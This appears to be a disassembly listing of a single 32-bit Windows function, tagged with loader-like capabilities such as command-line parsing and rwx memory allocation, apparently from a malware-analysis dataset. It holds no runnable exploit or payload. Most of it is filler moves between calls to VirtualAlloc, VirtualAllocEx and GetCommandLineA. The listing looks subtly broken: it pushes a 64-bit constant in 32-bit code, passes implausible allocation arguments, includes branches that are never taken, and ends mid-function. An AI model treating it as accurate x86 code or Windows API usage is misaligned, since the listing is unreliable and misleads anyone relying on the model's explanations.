Function at 0x407dc9
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
xor eax, eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebp - 0x30]
jbe 0x407de6
mov ecx, dword [ebp - 0x3c]
lea ecx, [ebp - 0x34]
and dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x34], 0xc
call fcn.004037e9
mov edx, 0xc8
mov ecx, 0
mov dword [ebp - 0x38], edx
xor edx, edx
and dword [ebp - 0x34], 0xffff
push 2
push 0x8000
push 0xc00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, dword [ebp - 0x34]
lea edi, [esp]
mov eax, dword [ebp]
mov edx, dword [ebp]
mov eax, dword [esp]
mov eax, dword [ebp]
lea edi, [esp]
mov esi, dword [ebp - 0x2c]
mov di, 4
mov eax, esi
lea edx, [esp]
lea esi, [ebp - 0x2c]
mov cx, 0x20
mov dword [ebp - 0x2c], edi
mov edi, dword [esp]
mov dword [ebp - 0x3c], eax
lea edi, [ebp - 0x34]
lea esi, [ebp]
mov dword [ebp - 0x34], esi
lea edi, [ebp - 0x38]
lea eax, [ebp]
mov di, 0x25
mov dword [ebp - 0x2c], eax
lea edi, [ebp]
mov ecx, 0x40
mov ecx, dword [ebp]
lea edi, [ebp - 0x2c]
mov edi, dword [esp]
mov ax, 0x10
mov eax, dword [esp]
mov dword [ebp - 0x2c], edi
mov eax, dword [esp]
mov di, 0x84
lea esi, [ebp]
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x30]
lea esi, [esp]
mov edx, 0x40
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dx, 4
mov eax, dword [esp]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x34], edi
mov edi, dword [esp]
mov eax, dword [ebp - 0x3c]
mov esi, dword [esp]
mov eax, dword [esp]
mov dword [ebp - 0x38], eax
mov ecx, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], edx
mov si, 8
mov edi, dword [esp]
mov eax, dword [ebp - 0x34]
lea edi, [esp]
mov edi, 0xcb
lea eax, [ebp - 0x30]
lea ecx, [ebp]
lea edx, [ebp]
mov edi, dword [ebp - 0x3c]
mov dword [ebp - 0x38], esi
mov edx, dword [esp]
mov edi, dword [ebp]
mov ecx, dword [ebp]
mov edi, dword [ebp - 0x30]
lea ecx, [ebp - 0x38]
mov edx, 1
mov dword [ebp - 0x38], edi
mov edi, eax
lea edi, [esp]
lea edi, [ebp - 0x38]
lea esi, [ebp - 0x30]
mov edi, edx
mov ecx, 0x18
lea esi, [ebp]
lea eax, [ebp]
mov edx, dword [esp]
mov dword [ebp - 0x34], eax
mov edi, dword [ebp - 0x34]
mov eax, 0xc8
or dword [ebp - 0x30], 0xffffff
xor edx, edx
add dword [ebp - 0x3c], 0x3d
mov dword [ebp - 0x38], edx
add dword [ebp - 0x3c], 1
mov dx, 0x40
push 2
push 0x4000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, 8
lea eax, [ebp]
lea edx, [ebp]
mov edi, dword [ebp]
mov edi, esi
mov eax, edi
mov edx, dword [esp]
lea edi, [ebp - 0x38]
lea esi, [ebp - 0x30]
mov di, 0xf9
lea ecx, [ebp]
mov eax, 4
lea ecx, [esp]
mov eax, 0x80
mov dword [ebp - 0x3c], edi
mov esi, edi
mov dword [ebp - 0x2c], esi
mov edi, dword [ebp]
lea esi, [ebp]
lea edi, [esp]
lea ecx, [esp]
lea ecx, [esp]
mov esi, 0xa1
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], ecx
lea edi, [esp]
mov ecx, dword [esp]
mov ecx, dword [esp]
mov ax, 0xb
mov edi, dword [ebp]
mov dword [ebp - 0x3c], edx
lea edi, [ebp]
mov cx, 4
mov ecx, 8
mov edx, dword [ebp - 0x3c]
mov di, 2
lea esi, [ebp]
lea esi, [esp]
mov ax, 8
mov esi, 1
mov ecx, 0x20
mov edx, dword [esp]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [ebp]
mov edi, esi
lea ecx, [esp]
mov si, 0x92
mov dword [ebp - 0x38], edi
lea edi, [ebp - 0x30]
lea esi, [esp]
mov esi, dword [ebp - 0x38]
mov esi, dword [esp]
mov ecx, dword [ebp - 0x30]
mov di, 0x66
mov esi, dword [ebp - 0x3c]
mov ax, 0x9e
mov ecx, dword [esp]
mov edi, dword [ebp]
mov edi, 0x10
mov edx, 0x62
lea edi, [esp]
mov edx, dword [ebp - 0x30]
mov di, 0x40
mov edi, dword [ebp - 0x38]
mov edi, eax
mov dword [ebp - 0x38], edx
mov eax, dword [ebp]
mov edi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x3c]
lea edx, [esp]
lea edi, [ebp - 0x30]
mov ecx, dword [esp]
mov dword [ebp - 0x2c], eax
lea edx, [esp]
mov eax, dword [esp]
mov edi, 0x20
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], edi
lea edx, [esp]
lea edi, [ebp]
lea edx, [esp]
lea edx, [ebp]
lea eax, [ebp]
mov di, 8
lea eax, [esp]
lea ecx, [ebp]
mov edx, dword [ebp - 0x30]
sub dword [ebp - 0x30], 8
add dword [ebp - 0x30], 0x10
and dword [ebp - 0x3c], 0xffff
cmp edx, 0xc16
jae 0x40808c
sub eax, eax
test edx, edx
jae 0x40808c
push 2
push 0x2000
push 0xf00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, edi
mov cx, 2
mov ecx, dword [ebp - 0x2c]
mov esi, 0x10
mov esi, dword [esp]
lea esi, [ebp]
mov dword [ebp - 0x3c], edi
mov ecx, eax
mov di, 0xa4
mov esi, dword [esp]
mov edi, ecx
lea edi, [ebp - 0x30]
lea edi, [ebp]
lea edi, [esp]
mov cx, 0xd9
mov esi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
mov eax, 1
mov ax, 0xb6
mov edx, esi
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x3c]
mov esi, dword [ebp]
mov eax, dword [esp]
lea ecx, [ebp]
lea esi, [ebp]
lea edi, [ebp - 0x30]
mov di, 0xbc
lea edi, [ebp]
mov eax, dword [ebp]
mov edx, dword [ebp]
lea esi, [esp]
mov edi, edx
mov edi, dword [ebp]
mov ecx, edx
mov ecx, dword [ebp - 0x2c]
lea esi, [esp]
mov edi, dword [ebp]
mov di, 0xd3
mov edx, eax
mov di, 0x20
mov si, 0x6e
mov edx, 0x1d
lea edi, [ebp - 0x3c]
push 2
push 0x8000
push 0xd00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea edx, [ebp]
mov ecx, dword [ebp]
mov edx, dword [ebp - 0x34]
lea esi, [ebp - 0x38]
mov esi, edi
lea esi, [esp]
mov eax, 8
mov edi, dword [esp]
lea esi, [ebp - 0x34]
lea edx, [ebp - 0x34]
mov edi, 2
mov edx, dword [esp]
lea edx, [ebp - 0x2c]
mov edx, ecx
lea eax, [ebp - 0x38]
mov ecx, esi
mov ecx, dword [esp]
lea edi, [esp]
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp]
lea edi, [ebp - 0x34]
mov edi, 0xba
mov edx, dword [ebp]
mov eax, dword [esp]
mov esi, dword [esp]
mov ecx, 0x40
mov edi, dword [ebp]
mov edx, dword [esp]
mov ax, 0x32
mov edi, dword [ebp - 0x30]
lea edi, [ebp]
mov esi, dword [ebp]
mov edx, dword [ebp - 0x34]
mov ecx, dword [esp]
mov dword [ebp - 0x38], esi
mov edi, 0xe5
mov dword [ebp - 0x3c], edx
mov ecx, dword [esp]
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x34], edx
sub edx, edx
mov edx, 0x31
mov edx, 0x5e
cmp edx, 0
jne 0x4081df
xor eax, eax
and dword [ebp - 0x2c], 0xff00ff
test edx, edx
jae 0x4081df
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea esi, [ebp]
lea edx, [ebp]
lea eax, [ebp]
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x30]
mov dword [ebp - 0x3c], ecx
mov eax, 1
mov edi, 0x20
mov edi, 1
mov edx, ecx
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp]
lea edx, [ebp]
lea edi, [ebp]
mov esi, 0xa
mov ax, 0xbd
mov dword [ebp - 0x30], ecx
mov esi, dword [ebp - 0x2c]
mov edx, dword [ebp]
mov edx, dword [esp]
mov edi, dword [ebp - 0x34]
mov edi, 2
mov dx, 0xa6
lea edi, [ebp]
mov dx, 0x89
mov ecx, dword [ebp]
lea eax, [esp]
mov edi, eax
lea esi, [ebp - 0x3c]
lea edi, [ebp]
mov esi, eax
mov dword [ebp - 0x2c], esi
lea edx, [esp]
lea edi, [ebp]
mov ecx, dword [esp]
lea eax, [ebp]
mov dword [ebp - 0x3c], edx
mov edx, edi
lea edx, [esp]
mov edi, eax
mov eax, dword [esp]
mov edi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov edi, ecx
mov eax, dword [ebp - 0x3c]
mov ecx, pe_nt_image_headers32
xor dword [ebp - 0x2c], 0xffff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, 0x68
mov eax, dword [ebp]
mov esi, dword [ebp - 0x34]
lea edx, [ebp]
mov edi, edx
mov ecx, dword [esp]
mov edi, 0x88
mov dword [ebp - 0x3c], edi
lea esi, [ebp - 0x2c]
mov ecx, 0x40
mov edx, dword [ebp - 0x34]
mov edi, dword [ebp]
mov edi, dword [esp]
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x34]
mov edi, dword [ebp]
mov edi, dword [ebp - 0x30]
lea ecx, [ebp]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp]
mov edx, dword [ebp]
mov dword [ebp - 0x30], edi
mov edi, dword [esp]
mov ecx, dword [ebp - 0x38]
mov ax, 0x80
mov eax, edx
mov ecx, 0x20
mov esi, dword [esp]
mov si, 0x40
lea edx, [ebp]
mov edx, dword [ebp]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], esi
mov ecx, dword [ebp]
mov dword [ebp - 0x3c], edi
lea esi, [esp]
mov ecx, dword [esp]
mov edi, dword [esp]
mov ecx, eax
mov eax, 2
mov edi, edx
mov edi, 0x80
xor eax, eax
xor eax, eax
sub eax, eax
sub eax, eax
mov ax, 0x34
test eax, eax
ja 0x40832e
mov ecx, dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
add dword [ebp - 0x30], 0x39
add dword [ebp - 0x38], 8
push 4
push 0x8000
push 0xa00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], edi
mov eax, edx
lea ecx, [esp]
mov edi, dword [esp]
mov edx, dword [esp]
mov esi, ecx
mov eax, 0x9f
mov eax, dword [esp]
mov dword [ebp - 0x2c], esi
mov dx, 0x58
mov edi, dword [ebp]
mov dword [ebp - 0x34], edi
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], edi
lea eax, [esp]
lea edi, [esp]
mov ecx, esi
mov edi, dword [ebp]
mov ax, 0x64
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x38], edx
lea edi, [ebp]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x38], edi
mov ecx, esi
lea esi, [ebp - 0x2c]
mov eax, dword [ebp]
mov eax, 0x94
mov edi, dword [ebp]
mov dx, 0x66
mov edx, ecx
mov edi, eax
mov edi, dword [ebp]
lea eax, [ebp]
mov eax, dword [esp]
mov dword [ebp - 0x30], ecx
xor eax, eax
xor dword [ebp - 0x34], 0xff00ff
mov eax, 0x20
cmp eax, 0x34d
jne 0x4083ea
mov edx, 0x300
mov dx, 0x42
cmp eax, 0
jbe 0x4083ea
call 0x40a571
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edi, [esp]
lea ecx, [esp]
lea esi, [esp]
mov edx, edi
mov esi, dword [esp]
mov dx, 0x51
lea ecx, [esp]
mov dword [ebp - 0x2c], edx
lea edx, [esp]
mov ax, 1
mov eax, 8
mov eax, dword [ebp - 0x38]
lea esi, [ebp]
mov dword [ebp - 0x34], eax
lea esi, [esp]
mov edi, dword [ebp - 0x3c]
lea edi, [esp]
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp]
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x30]
mov edi, eax
mov edx, esi
mov dx, 0x35
mov edx, eax
mov edi, eax
mov edi, 0x80
mov edi, dword [ebp - 0x34]
lea edx, [ebp]
mov edi, dword [esp]
lea eax, [esp]
mov ecx, dword [ebp]
mov cx, 0x2a
mov dword [ebp - 0x30], eax
lea ecx, [esp]
mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x3c]
mov eax, edx
mov edx, ecx
lea edi, [ebp - 0x2c]
push 2
push 0x4000
push 0xc00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 4
mov ecx, eax
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp]
mov di, 0xe4
lea edx, [ebp - 0x34]
mov esi, 0x4f
mov ecx, dword [ebp]
mov edx, dword [esp]
lea edx, [esp]
lea esi, [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x2c]
lea edx, [esp]
lea ecx, [esp]
lea edi, [esp]
lea ecx, [ebp - 0x30]
lea edx, [ebp - 0x30]
lea edi, [ebp]
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x30]
mov esi, edx
mov ax, 4
lea edi, [ebp - 0x38]
lea edx, [ebp]
lea eax, [ebp - 0x38]
mov eax, 0xf3
mov edx, dword [ebp - 0x30]
lea ecx, [ebp - 0x34]
lea edi, [ebp]
mov edi, dword [ebp]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
lea esi, [esp]
mov dword [ebp - 0x30], ecx
mov edi, 0x10
mov ecx, 0xe6
mov si, 0x25
mov edx, 0x12c
lea edx, [ebp - 0x34]
sub edx, edx
xor eax, eax
xor dword [ebp - 0x38], 0xff00ff
mov eax, dword [ebp - 0x30]
and dword [ebp - 0x30], 0xffffff
xor dword [ebp - 0x38], 0xff
add dword [ebp - 0x3c], 0xc
and dword [ebp - 0x30], 0xff
and dword [ebp - 0x30], 0xffff
cmp dword [ebp - 0x34], eax
je 0x40854a
mov edx, 0x200
lea edx, [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetACP]
lea ecx, [esp]
mov ecx, 0x4e
lea eax, [esp]
mov edi, dword [esp]
lea eax, [ebp]
mov dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp]
mov dx, 0x1e
mov si, 0x10
mov eax, dword [esp]
mov eax, dword [esp]
mov di, 8
mov eax, dword [ebp - 0x34]
mov ax, 0x1c
mov edx, dword [ebp - 0x34]
mov di, 0x28
lea edi, [esp]
mov edx, dword [ebp]
mov dword [ebp - 0x34], edi
lea ecx, [ebp - 0x2c]
mov edi, dword [esp]
mov edi, dword [esp]
mov ecx, edi
lea ecx, [esp]
mov ecx, dword [esp]
mov edi, 2
mov edx, dword [ebp]
mov si, 0x20
mov dword [ebp - 0x2c], edi
mov edx, dword [esp]
mov esi, ecx
mov dword [ebp - 0x2c], edi
mov edi, dword [ebp]
lea ecx, [ebp - 0x34]
mov edi, eax
mov esi, 0x99
lea edi, [ebp]
lea ecx, [esp]
mov esi, dword [ebp]
mov edi, dword [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x3c], edi
mov ecx, dword [ebp - 0x2c]
mov eax, pe_nt_image_headers32
push 2
push 0x4000
push 0xf00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
lea edi, [ebp]
mov eax, ecx
lea edx, [ebp]
mov ecx, dword [esp]
lea edi, [ebp]
mov eax, dword [esp]
mov dword [ebp - 0x3c], edx
lea edi, [esp]
mov edi, dword [ebp]
mov eax, dword [ebp - 0x38]
mov esi, eax
mov eax, dword [ebp]
lea edi, [ebp]
mov edx, dword [esp]
mov esi, 0x13
lea edi, [esp]
lea edi, [esp]
mov ecx, dword [ebp - 0x34]
mov edi, 0x31
mov edx, dword [ebp]
mov di, 0x69
mov dword [ebp - 0x34], ecx
lea edi, [ebp - 0x30]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x30]
lea edi, [ebp]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edi
mov dx, 0x79
mov edi, dword [ebp]
mov ax, 0xf6
mov eax, dword [ebp - 0x30]
lea eax, [esp]
lea eax, [esp]
mov edx, 4
mov esi, ecx
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
mov edx, 0x5a
mov eax, dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [ebp]
mov ecx, esi
mov eax, dword [esp]
lea ecx, [esp]
lea esi, [ebp]
mov edi, dword [esp]
mov edi, 0x4d
mov ecx, dword [esp]
mov edx, dword [ebp]
lea edi, [ebp - 0x38]
lea esi, [ebp]
mov esi, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
mov di, 0x80
mov edx, dword [esp]
mov ax, 0x96
mov ecx, dword [ebp]
lea esi, [ebp]
mov edi, dword [esp]
mov edx, dword [ebp]
mov edi, dword [esp]
mov ecx, 0x33
mov cx, 0x2f
mov si, 1
mov ecx, 8
mov edx, dword [ebp]
mov dword [ebp - 0x3c], edi
mov eax, 0x49
lea ecx, [ebp]
mov edx, ecx
mov eax, dword [ebp - 0x3c]
lea edx, [esp]
lea ecx, [ebp]
lea eax, [ebp]
lea edi, [ebp]
lea eax, [esp]
mov dword [ebp - 0x34], edi
mov edx, dword [ebp]
mov edx, 0x69
mov eax, dword [ebp]
xor ecx, ecx
sub ecx, ecx
mov cx, 0x40
mov dword [ebp - 0x34], ecx
cmp ecx, 0
je 0x408728
mov edx, 0x12c
or dword [ebp - 0x30], 0xff00ff
xor dword [ebp - 0x34], 0xff00ff
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, eax
mov ecx, dword [ebp]
mov dx, 0x10
mov edx, eax
mov edi, dword [ebp]
mov esi, 0x80
mov edi, 8
mov eax, 0x40
mov edi, 4
lea edi, [ebp]
mov si, 0xdb
lea edi, [ebp]
mov edx, dword [ebp]
mov eax, dword [ebp]
lea edx, [ebp]
mov si, 0x40
mov ecx, dword [ebp - 0x2c]
mov edi, dword [esp]
lea eax, [ebp - 0x34]
lea eax, [esp]
mov eax, dword [esp]
mov dx, 0x40
mov ecx, dword [esp]
mov ecx, dword [ebp - 0x34]
mov ecx, 4
mov esi, dword [ebp]
mov edi, esi
mov edi, eax
lea esi, [esp]
lea esi, [ebp]
mov eax, dword [ebp]
mov ax, 8
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x3c]
mov edi, 0xe8
mov edi, edx
mov esi, dword [ebp]
lea ecx, [esp]
mov ecx, edi
mov edi, edx
sub edx, edx
add dword [ebp - 0x38], 8
mov ecx, 0x12c
sub ecx, ecx
call dword [sym.imp.KERNEL32.dll_GetACP]
mov edx, dword [ebp - 0x34]
lea ecx, [esp]
lea edi, [ebp]
mov edx, esi
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp - 0x38]
lea edi, [ebp]
mov edi, dword [ebp]
mov edi, dword [ebp]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x34], edi
mov ecx, edx
mov eax, ecx
lea edi, [ebp - 0x2c]
mov di, 0x18
mov esi, dword [esp]
mov edi, dword [ebp]
mov edx, dword [ebp]
mov dword [ebp - 0x38], edi
mov edx, dword [esp]
mov ecx, dword [esp]
mov edi, dword [ebp - 0x34]
lea esi, [esp]
lea edx, [ebp]
mov ecx, dword [ebp]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp]
mov di, 1
lea edx, [esp]
lea esi, [ebp]
mov edi, ecx
mov dword [ebp - 0x34], edi
mov edi, 0x80
mov ecx, eax
mov edi, dword [ebp]
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x34], edx
mov eax, 1
mov ecx, dword [ebp - 0x34]
mov edi, dword [ebp]
mov edx, dword [ebp]
mov si, 0xd7
mov ecx, pe_nt_image_headers32
add dword [ebp - 0x34], 0x80
xor dword [ebp - 0x3c], 0xffffff
xor edx, edx
mov edx, 0x4b
xor dword [ebp - 0x30], 0xffff
push 8
push 0x4000
push 0x300
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, dword [esp]
mov si, 0xbd
mov ax, 0x4d
mov ax, 1
mov dword [ebp - 0x30], esi
mov edx, esi
lea eax, [esp]
mov ecx, dword [ebp - 0x38]
lea edi, [esp]
mov si, 0x2c
mov edi, dword [esp]
mov di, 0xe5
mov esi, 0xcf
lea edi, [ebp - 0x3c]
lea edi, [ebp - 0x2c]
lea eax, [ebp]
lea ecx, [ebp]
mov cx, 8
mov esi, edi
lea edi, [esp]
mov edx, dword [esp]
mov dword [ebp - 0x34], edi
lea esi, [ebp]
mov eax, dword [ebp]
mov di, 0x40
mov dx, 0x20
lea eax, [ebp]
mov edi, 2
mov esi, 1
mov eax, 0xf9
mov eax, dword [ebp]
mov dword [ebp - 0x30], esi
lea edi, [ebp]
mov dword [ebp - 0x38], ecx
lea esi, [esp]
mov si, 0x23
mov edx, dword [esp]
lea edi, [esp]
mov di, 2
mov edi, 0x60
mov edi, ecx
mov dword [ebp - 0x30], edx
mov esi, 4
mov eax, 0x12c
or dword [ebp - 0x30], 0xffff
test eax, eax
jne 0x40893a
sub ecx, ecx
mov ecx, 0xc8
or dword [ebp - 0x34], 0xffffff
mov dword [ebp - 0x30], 8
or dword [ebp - 0x3c], 0xff00ff
mov ecx, 0x300
mov cx, 4
or dword [ebp - 0x3c], 0xff00ff
and dword [ebp - 0x34], 0xff
cmp ecx, 0
je 0x408964
mov eax, dword [ebp - 0x2c]
xor dword [ebp - 0x30], 0xff00ff
test ecx, ecx
ja 0x408964
mov edx, 0
lea edx, [ebp - 0x34]
mov edx, 0x5a
cmp edx, 0xdb4
jb 0x408989
xor eax, eax
sub eax, eax
mov dword [ebp - 0x38], eax
test edx, edx
jae 0x408989
mov edx, 0x80
xor eax, eax
xor eax, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], esi
lea ecx, [ebp - 0x30]
mov edi, 0x40
lea esi, [ebp - 0x34]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x30]
mov edx, dword [ebp - 0x34]
mov ecx, 0xcb
mov eax, ecx
mov ax, 0x1b
mov eax, dword [ebp - 0x30]
lea edi, [ebp - 0x38]
mov di, 1
mov edi, dword [ebp]
mov ecx, edi
mov ecx, dword [ebp]
lea edi, [ebp - 0x38]
mov eax, esi
mov eax, 0xdd
mov edi, dword [esp]
mov edi, 0x1d
mov edi, dword [ebp]
mov eax, 0xbf
mov eax, 2
mov esi, 0x15
lea edi, [ebp]
lea edi, [ebp - 0x34]
lea edi, [ebp - 0x34]
lea edi, [esp]
lea edx, [esp]
mov edi, 0x10
mov edi, dword [ebp]
mov eax, dword [ebp]
mov edi, dword [ebp - 0x3c]
mov ecx, 0x40
mov edi, dword [esp]
lea eax, [ebp]
sub dword [ebp - 4], 0xffffffff
sub edx, edx
mov eax, dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov edi, dword [ebp]
mov dword [ebp - 0x2c], edi
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
lea edi, [ebp]
mov edi, ecx
lea esi, [esp]
lea eax, [ebp]
lea eax, [esp]
mov edx, dword [ebp - 0x34]
lea edi, [ebp]
mov di, 0x59
mov edi, 0x40
mov esi, dword [esp]
mov edi, dword [ebp]
lea esi, [esp]
mov edi, 0x6f
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], edi
mov eax, dword [esp]
lea ecx, [esp]
mov edi, dword [esp]
mov ecx, dword [ebp - 0x30]
lea edi, [ebp]
mov edi, 0x59
lea edx, [ebp - 0x2c]
mov edi, dword [ebp]
mov dx, 0xd2
mov edi, dword [ebp - 0x38]
mov ecx, 0x20
mov edx, eax
mov esi, 0x3e
mov eax, dword [esp]
mov esi, 0x40
mov eax, dword [ebp - 0x2c]
mov edi, edx
mov edi, esi
mov esi, dword [esp]
mov ax, 8
mov ecx, 0x20
mov esi, edi
mov eax, pe_nt_image_headers32
mov ax, 8
and dword [ebp - 0x38], 0xffff
xor dword [ebp - 0x3c], 0xff00ff
and dword [ebp - 0x38], 0xff
cmp eax, 0
ja 0x408af3
mov edx, dword [ebp - 0x3c]
xor dword [ebp - 0x34], 0xffffff
xor dword [ebp - 0x38], 0xff00ff
sub dword [ebp - 0x3c], 0x55
xor dword [ebp - 0x30], 0xffffff
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [ebp - 0x38]
mov edx, dword [esp]
mov edi, edx
mov si, 0x16
mov edi, ecx
mov ecx, dword [esp]
mov esi, 0x9b
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x38], esi
mov ax, 0x20
lea eax, [ebp]
lea edi, [ebp]
mov edi, esi
mov edi, 0x22
mov dword [ebp - 0x30], edi
lea esi, [ebp]
mov edi, esi
mov esi, ecx
mov edi, dword [esp]
mov esi, dword [ebp - 0x2c]
mov ax, 0x89
mov si, 1
mov esi, 0xa5
lea esi, [ebp - 0x38]
mov dword [ebp - 0x38], esi
lea esi, [esp]
mov edi, edx
mov edi, eax
mov ecx, 0x84
lea edx, [ebp - 0x30]
lea edi, [ebp]
mov edi, eax
mov ecx, dword [ebp]
mov edi, eax
lea edx, [ebp]
lea edi, [ebp - 0x34]
mov esi, dword [esp]
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
xor dword [ebp - 0x2c], 0xffffff
and dword [ebp - 0x30], 0xffffff
cmp eax, 0
jne 0x408b96
mov ecx, 0
cmp ecx, dword [ebp - 0x38]
jne 0x408b96
sub edi, edi
sub edx, edx
sub edx, edx
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x34], edx
test edx, edx
jbe 0x408bb8
mov ecx, 0xc8
sub ecx, ecx
or dword [ebp - 0x2c], 0xff
xor ecx, ecx
mov edx, pe_nt_image_headers32
mov dword [ebp - 0x38], edx
sub dword [ebp - 0x30], 0x12
cmp edx, 0xae
jne 0x408bd7
xor esi, esi
and dword [ebp - 0x3c], 0xff
add edi, dword [ebp - 4]
mov edx, 0
mov dword [ebp - 0x3c], 0xe
cmp edx, 0
je 0x408bfb
mov esi, 0x200
mov si, 0x40
xor esi, esi
cmp dword [ebp - 0x34], esi
jne 0x408bfb
sub edx, edx
xor dword [ebp - 0x38], 0xff
mov dword [ebp - 0x30], edx
sub dword [ebp - 0x34], 0x6c
mov dword [ebp - 0x34], edx
test edx, edx
jb 0x408c31
xor esi, esi
mov esi, 0x10
and dword [ebp - 0x34], 0xff
cmp edx, dword [ebp - 0x34]
je 0x408c31
mov esi, 0x10
or dword [ebp - 0x34], 0xff00ff
cmp dword [edi], 0x18a164
jne 0x40893a
mov eax, dword [ebp - 0x2c]
mov dx, 0x80
mov dword [ebp - 0x3c], 0x60
mov dx, 2
lea edx, [ebp - 0x2c]
mov edx, dword [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x2c], edx
xor dword [ebp - 0x30], 0xffffff
call dword [sym.imp.KERNEL32.dll_GetACP]
lea eax, [esp]
mov ecx, dword [ebp]
lea ecx, [ebp]
mov edi, dword [ebp]
mov si, 0x1a
mov dword [ebp - 0x30], eax
lea esi, [ebp]
mov edi, 0x40
mov eax, dword [ebp]
mov edi, 0x20
mov edi, edx
lea edi, [ebp]
mov si, 2
mov di, 0x26
mov dword [ebp - 0x34], edi
mov eax, dword [ebp]
mov edi, eax
lea edi, [esp]
mov dword [ebp - 0x38], edi
mov edx, dword [esp]
mov edi, 0x40
lea eax, [ebp - 0x38]
mov edi, dword [ebp - 0x3c]
mov cx, 0x40
mov edx, ecx
mov edx, dword [ebp]
mov edi, dword [ebp]
mov esi, edi
mov edi, dword [ebp]
mov dword [ebp - 0x38], edi
mov ecx, dword [ebp - 0x38]
mov edi, 0x2e
mov esi, 0x7c
mov dword [ebp - 0x34], esi
mov eax, dword [ebp]
mov eax, dword [esp]
mov dword [ebp - 0x30], edx
mov esi, dword [ebp]
mov eax, 0x40
mov esi, dword [ebp - 0x2c]
mov ecx, 0x64
cmp dword [ebp - 0x30], ecx
jb 0x408d04
mov edx, 0x300
mov dword [ebp - 0x34], edx
and dword [ebp - 0x3c], 0xff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea esi, [ebp - 0x3c]
mov ecx, dword [ebp]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp]
lea eax, [esp]
lea ecx, [ebp - 0x2c]
mov di, 4
mov edi, dword [ebp - 0x3c]
mov esi, eax
lea eax, [ebp]
mov edi, 1
